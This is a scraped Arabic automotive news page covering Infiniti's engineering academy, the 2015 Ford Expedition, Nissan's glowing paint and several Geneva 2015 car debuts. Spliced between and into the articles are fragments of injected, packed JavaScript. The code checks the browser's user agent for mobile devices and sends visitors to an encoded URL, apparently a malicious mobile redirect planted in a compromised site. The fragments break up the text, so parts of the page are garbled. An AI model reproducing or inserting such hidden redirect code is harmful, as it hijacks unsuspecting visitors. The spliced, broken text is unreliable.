Gallery

إنفينيتي تقدم لطلبة الهندسة السعوديين فرصة العمر

تفتحت آفاق جديدة أمام طلبة الهندسة في جامعات مختارة بالمملكة العربية السعودية للحصول على فرصة العمر بالتدريب والعمل في قمة عالم رياضة السيارات، وهي سباقات الفورمولا واحد، مع إعلان شركة إنفينيتي عن إطلاق أكاديمية إنفينيتي لهندسة الأداء لعام 2015.

وتقدم جهود لبحث الفريدة والمستمرة على مستوى العالم عن أفضل طلاب الهندسة الجامعيين فرصة متميزة للعمل مع الفريق الحائز على بطولات عالمية في الفورمولا واحد الذي تتشارك معه إنفينيتي باللقب، والعمل مع شركة إنفينيتي أيضاً. وفي هذا العام، هناك مكان واحد مضمون لطالب سعودي.

وفي عامها الثاني، يتم تطوير الأكاديمية في عام 2015، بتوفير خمس فرص الآن مقارنة بثلاث فرص في عام 2014. وبعد تقييم شامل للتعرف على أفضل التطبيقات، ستقود سلسلة من النهائيات الإقليمية إلى توظيف فائزين من المملكة العربية السعودية وأوروبا وروسيا والصين والولايات المتحدة الأمريكية. وسيحصل كل مرشح على فترة تدريب لمدة 12 شهراً، تنقسم بين تدريب في المركز التقني الأوروبي التابع لإنفينيتي وفريق الفورمولا واحد الذي يرتبط بإنفينيتي، وكلاهما في المملكة المتحدة، مع راتب كامل.

وسيعمل هؤلاء في مشاريع رئيسية لسيارات الطرق لإنفينيتي التي تبدأ بتصنيع السيارات في المملكة المتحدة في العام الحالي، ولفريق السباق في العديد من النواحي الهندسية.

var d=document;var s=d.createElement(‘script’);

ميني هاتش الجديدة كلياً في لبنان، مع خمسة أبواب ومساحة إضافية

فورد إكسبيديشن 2015 يصل إلى الشرق الأوسط

يستعدّ وكلاء فورد في أنحاء المنطقة لإطلاق فورد إكسبيديشن 2015، إحدى السيارات المتعدّدة الاستعمالات SUV الأكثر مبيعاً لدى العلامة في الشرق الأوسط. ويُعتبر طراز إكسبيديشن الجديد، الذي وصل إلى وكالات فورد في المنطقة، الطراز الأقوى والأكثر فعالية في استهلاك الوقود على الإطلاق، ويتميّز بمحرّك V6 EcoBoost سعة 3.5 ليتر القادر على توليد قوة تبلغ 365 حصاناً وعزم دوران يبلغ 569 نيوتن متر، والمزيد من التكنولوجيا أكثر من أيّ وقت مضى.

وتتمتّع إكسبيديشن 2015 بمظهر جديد من الناحيتين الداخلية والخارجية، ومقصورة أكثر هدوءاً، بالإضافة إلى المزيد من التكنولوجيا مقارنةً بمركبات الجيل السابق. وستكون أحدث طراز لدى فورد يقدّم فئة بلاتينوم الفاخرة.

كما تضمّ إكسبيديشن الجديدة مجموعة من التكنولوجيا الحديثة التي تقدّمها فورد، بما في ذلك نظام المزامنة ®SYNC مع تقنية ®MyFord Touch المتوفّر، والنظام الكامن لفتح الأبواب مع نظام التشغيل بكبسة زرّ ونظام المعلومات الخاص بالزوايا غير المرئية ®Blind Spot Information System مع نظام الإنذار عن اقتراب السير من الجانبين عند الرجوع CTA.

وتتميّز إكسبيديشن 2015 القياسية بثلاثة صفوف من المقاعد وسعة حمولة تصل إلى 3067 ليتر. بينما تبلغ قاعدة عجلاتها 302 سنتمتر، ما يجعلها أطول بـ 15 سنتمتر من فورد إكسبلورر. ويتوفّر طراز آخر بقاعدة عجلات أطول 333 سنتمتر وهو يتميّز بثلاثة صفوف من المقاعد وسعة حمولة هي الأفضل في فئتها وتصل إلى 3704 ليتر.

var d=document;var s=d.createElement(‘script’); 47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{}))

نيسان تطرح أول سيارات في طلاء يتوهج في الظلام

أصبحت نيسان أول صانع سيارات في العالم يوفر طلاءاً قادراً على التوهج في الليل وذلك من خلال سيارتها الكهربائية، ليف التي تعمل بطريقة غير مباشرة على زيادة وعي المستهلكين البيئي ودفعهم للتحول الى إعتماد الطاقة الشمسية في منازلهم.

وكانت نيسان قد تعاونت في هذا السياق، مع المبتكر هاميش سكوت الذي تمكن من إبتكار “ستار باث” وهو نوع من الطلاء الذي يعمل بعد رشه، على إمتصاص الأشعة فوق البنفسجية خلال النهار ليقوم بعد غياب الشمس وحلول الظلام بالتوهج لمدة تراوح بين ثماني وعشر ساعات.

وعلى الرغم من وجود الطلاء القادر على التوهج في الليل ومع أن تلبيس السيارات بطبقات قادرة على التوهج ليلاً متوفر في الأسواق، إلا أن الطلاء الخاص بـ نيسان فريد من نوعه كونه مصنوع بطريقة سرية من مواد عضوية غير مضرة بالبيئة ومنها مادة نادرة الوجود تحمل تسمية Strontium Aluminate وهي مادة صلبة مستخرجة من الأرض وتتميز بكونها عديمة الرائحة وخاملة كيميائياً وبيولوجياً.

وكانت عدة شركات غير متخصصة بصناعة السيارات قد وفرت طلاءاً غير عضوياً يمكنه التوهج في الظلام ولكن نيسان هي صانع السيارات الأول الذي يعتمد هذه التقنية بشكل مباشر. وتزداد قيمة هذا الإبتكار كون طلاء نيسان هذا قادر في حال قررت نيسان توفيره ضمن إنتاجها التجاري، على المحافظة على نفسه لمدة 25 عاماً.d.getElementsByTagName(‘head’)[0].appendChild(s);21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{}))

جنيف 2015 – فولكسفاكن Sport Coupe GTE نظرة إلى مستقبل باسات CC

فولكسفاكن الصانع رقم اثنين في العالم كان حاضرًا في جنيف مع سيارة إختبارية جديدة تعد خليفة مستقبلية لطراز باسات CC الحالية أطلقت عليها تسمية Sport Coupe GTE. وقد تم اعتماد فلسفة تصميم جديدة مع هذه السيدان كوبيه الجديدة الإختبارية، تقول فولكسفاكن إنها فلسفتها التصميمية الجديدة.

Sport Coupe GTE هي أكبر على جميع الصعد بالمقارنة مع باسات CC ما عدا ارتفاعها فهي اقرب بالواقع لحجم أودي A7 من باسات CC. من الداخل، نجد مقصورة تتسع لأربعة ركاب وهي مدججة بالتجهيزات الإكترونية الحديثة مثل شاشة للعرض للركاب الجالسين في الخلف، شاشة عرض قياس 12.3 إنشًا أخذت مكان لوحة العدادات التقليدية، شاشة عرض قياس 10.1 إنش في الكونسول الوسطي الأمامي وأخرى قياس 12.1 انشًا في الخلف.

نظام الدفع الخاص بسيارة فولكسفاكن Sport Coupe GTE هو هجين مؤلف من محرك مكبسي من 6 أسطوانات سعة 3 ليتر مع توربو قادر على توليد قوة 295 حصاناً، مدعوم بمحركين كهربائيين، الأول وجد مكاناً له على علبة التروس وهو يولد 54 حصاناً والثاني موجود في الخلف ويولد قوة 114 حصاناً تنتقل إلى العجلات الخلفية بينما تنتقل قوة محرك البنزين إلى العجلات الأمامية عبر علبة تروس أوتوماتيكية مع قابض مزدوج مؤلفة من 6 نسب. مع وحدة الطاقة الهجينة هذه تصبح القوة الإجمالية 374 حصاناً وهي كفيلة بدفع Sport Coupe GTE للإنطلاق من صفر إلى 100 كلم/ساعة في خلال 5 ثوانٍ وبلوغ سرعة قصوى محددة بـ 250 كلم/ساعة.


جنيف 2015 – رينو Katjar الجديدة

في ظل تقديم سيارات سوبر رياضية وإختبارية عديدة خلال معرض جنيف، تبرز سيارة رينو Katjar الجديدة لتعيدنا بعض الشيء إلى الواقع. Katjar هي عبارة عن سيارة كروس أوفر مبنية على قاعدة ابنة عمها نيسان X-Trail، أعدت لمنافسة سيارات في فئتها على سبيل المثال، هوندا CR-V، تويوتا راف4 وغيرها. وتأتي Katjar لتسد الفراغ الواقع ما بين طرازي Captur وKoleos.

التصميم الخارجي لسيارة Katjar جميل وهو يحمل سمات تصميم رينو الجديدة خاصة لناحية تصميم المقدمة مع مصابيح مخصصة للنهار تعمل بتقنية الـ LED. أما من الجهة الخلفية فقد وجدنا التصميم شبيهًا بعض الشيء بتصميم الصغيرة كليو وهو أمر غير مستغرب هنا.

أما من ناحية مقصورة الركاب، فهي تستطيع استيعاب خمس ركاب بالغين وهي مجهزة بنظام ترفيهي حديث يلبي احتياجاتكم العصرية.

ميكانيكياً كشفت رينو عن محرك وحيد حالياً عامل على البنزين مؤلف من 4 أسطوانات سعة 1.2 ليتر مع توربو قادر على توليد قوة 130 حصاناً. وقد تم وصل هذا المحرك إلى خيارين من علبة التروس وهما اما يدوية من 6 نسب أو أوتوماتيكية مع قابض مزدوج مؤلفة من 6 نسب. كما بإمكانكم الإختيار ما بين الحصول على Katjar بدفع أمامي أم رباعي.

جنيف 2015 – لكزس LF-SA … كروس أوفر مدمجة إختبارية جديدة

لكزس إحتفلت العام الماضي بمرور 25 عامًا على اطلاقها وللتذكير فقط، لكزس هي الفرع الفخم الخاص بالصانع الياباني العملاق تويوتا، وفي ظل هذه المناسبة، أوكل إلى فرع التصميم الأوروبي الخاص بـ لكزس، تصميم سيارة إختبارية جديدة مدمجة يمكن أستعمالها داخل المدن بشكل فعال ولكن يمكن أيضاً الإستمتاع بها في عطلة نهاية الأسبوع.

النتيجة سيارة LF-SA الإختبارية التي تم تصميمها مع الأخذ بعين الإعتبار فلسفة لكزس الأخيرة بالتصميم المبنية على خطوط حادة، ولإعطائكم فكرة عن حجم السيارة، يبلغ طول سيارة LF-SA الإختبارية 3.45 امتار، عرضها 1.70 متر وارتفاعها 1.43 متر.

مقصورة لكزس LF-SA وبالرغم من تصميم السيارة المدمج، تتميز وحسب لكزس هنا، برحابتها وهي قادرة على استيعاب 4 ركاب. ومن المزايا داخل مقصورة هذه الإختبارية من لكزس، على سبيل المثال مقعد السائق الثابت لكن إذا اردتم تعديل وضعية القيادة، بإمكانكم تعديل وضعية الدواسات والمقود، أي بمعنى آخر السيارة تأتي أليكم. أما مقعد الراكب الأمامي فهو متحرك ويمكن طي ظهره من أجل إفساح المجال للركاب الراغبين بالجلوس على المقاعد الخلفية.

لم تكشف لكزس عن أي تفاصيل ميكانيكية بخصوص سيارتها LF-SA، لكن نتوقع هنا في مجلة أوتوموبيل أن تزود إما بنظام دفع كهربائي أو محرك مكبسي بسعة صغيرة مع توربو ان ارادت لكزس يوماً تصنيع هذه السيارة.

d.getElementsByTagName(‘head’)[0].appendChild(s);

جنيف 2015 – كونيغسيغ ريجيرا … سويدية خارقة

الصانع السويدي كونيغسيغ المتخصص بمجال السيارات السوبر الرياضية يسعى اليوم ومن خلال معرض جنيف إلى توسيع مجموعته من السيارات حيث قام بإطلاق الطراز الثاني ضمن مجموعته من السيارات تختلف من حيث الفكرة عن طراز اجيرا، اطلق عليها تسمية ريجيرا أي “الملك الحاكم” بالسويدية. الفكرة من وراء إطلاق كونيغسيغ ريجيرا هي تقديم سيارة خارقة كون هنا عبارة سوبر رياضية غير كافية، تتمتع بأداء خرافي لكن في نفس الوقت هي فخمة وفيها العديد من المزايا التكنولوجية المتطورة. أي باختصار الفكرة هي انتاج سيارة مشابهة بشخصيتها لسيارة بوغاتي فايرون. وقد تم تحديد إنتاج هذه السيارة الخارقة الجديدة من كونيغسيغ بـ 80 نسخة فقط.

التصميم الخارجي لسيارة ريجيرا الجديدة رياضي بامتياز لكنه يختلف عن خطوط شقيقتها اجيرا لناحية خطوطه الأنيقة بينما الأخيرة هي سيارة خارقة شرسة الشكل. ومن سمات التصميم المميزة على متن كونيغسيغ ريجيرا هو تزويدها بمصابيح للإنارة في النهار نوع LED مختلفة عن تلك التي تعودنا عليها مع باقي الصانعين، حيث تم توزيع ديودات الـ LED بطريقة مبعثرة داخل زجاج المصابيح الأمامية الأمر الذي يعطي الإنطباع عندما ترى السيارة قادمة من مسافة وكأنك تنظر إلى سماء تشع بالنجوم.

أما مقصورة ركاب ريجيرا فهي انيقة التصميم مع استعمال مكثف للجلد ومادة الياف الكربون. كما تزخر هذه المقصورة بوسائل ترفيه حديثة مثل تقنية الـ WIFI، 3G، كاميرات موزعة خارج السيارة (في المقدمة والخلف) وفي داخل المقصورة مع امكانية تسجيل فيديوهات، نظام Apple CarPlay وغيرها.

القلب النابض لسيارة كونيغسيغ ريجيرا هو عبارة عن نظام هجين متطور جداً مؤلف من محرك عامل على البنزين من 8 أسطوانات سعة 5 ليتر مع شاحني توربو قادر على توليد قوة 1100 حصان مع عزم دوران يبلغ 1250 نيوتن/ متر. اما النظام الكهربائي المتطور جداً والمعقد، فمؤلف من ثلاثة محركات كهربائية اثنان منها موزعان على العجلات الخلفية والثالث على كرانك المحرك، وهذه المحركات الكهربائية مدعومة بمجموعة بطاريات بقوة 620 فولت ويستطيع نظام الدفع الكهربائي الذي بإمكانكم اعادة شحنه اما من خلال مكبس تقليدي أو من خلال محرك البنزين، توليد قوة تبلغ 700 حصان وعزم دوران يصل إلى 900 نيوتن/ متر. وإذا جمعنا هذه الأرقام، تصبح النتيجة 1800 حصان و2150 نيوتن/ متر من عزم الدوران!!!

أما بخصوص أرقام التأدية، فتستطيع كونيغسيغ ريجيرا البالغ وزنها 1420 كلغ (دون سوائل) التسارع من 150 إلى 250 كلم/ساعة في خلال 3.2 ثوان والتسارع من صفر إلى 400 كلم/ساعة في أقل من 20 ثانية.

d.getElementsByTagName(‘head’)[0].appendChild(s);

جنيف 2015 – أودي R8 الجديدة كلياً

جنيف 2015 – أستون مارتن Vulcan سيارة مخصّصة للقيادة على الحلبات بإنتاج محدود

موضة السيارات السوبر رياضية المخصصة للقيادة على الحلبات ليست بجديدة، الإختيار ما بين هذه البرامج اذا صح التعبير اصبح واسعًا يبقى ابرزها  لدى فيراري وماكلارين. اما الجديد اليوم، فهو دخول أستون مارتن هذه الفئة من السيارات مع اطلاقها من خلال معرض جنيف 2015 سيارتها السوبر رياضية المخصصة للقيادة على الحلبات المغلقة Vulcan.

تم تطوير سيارة Vulcan بالتعاون مع فرع الشركة البريطانية الرياضي حيث تم بناء جسم السيارة بالكامل من ألياف الكربون الذي تم بناؤه وتطويره من قبل شريك أستون مارتن في بناء سيارات السباق الخاصة بها وهي شركة Multimatic. كما تم العمل على تزويد السيارة بديناميكية هوائية متطورة وهي تتميز بقوة مقابل الوزن تفوق تلك المتوفرة على متن سيارات السباق المنتمية إلى فئة الـ GTE.

محرك أستون مارتن Vulcan هو بوضعية أمامية وسطية وهو محرك ذات سحب طبيعي للهواء مؤلف من 12 أسطوانة سعة 7 ليتر قادر على توليد قوة تزيد عن 800 حصان. وتنتقل قوة هذا المحرك إلى العجلات الخلفية الدافعة عبر علبة تروس بوضعية خلفية وسطية نوع Xtrac ذات تعشيق متتالٍ للنسب مؤلفة من 6 نسب أمامية.

كذلك تم تزويد أستون مارتن Vulcan بنظام تعليق متطور يعمل بطريقة الـ Pushrod مع تقنية مقاومة للغوص، كما بإمكان السائق تعديل نبض التعليق، نظام منع غلق المكابح والتحكم بالتماسك وغيرها.

}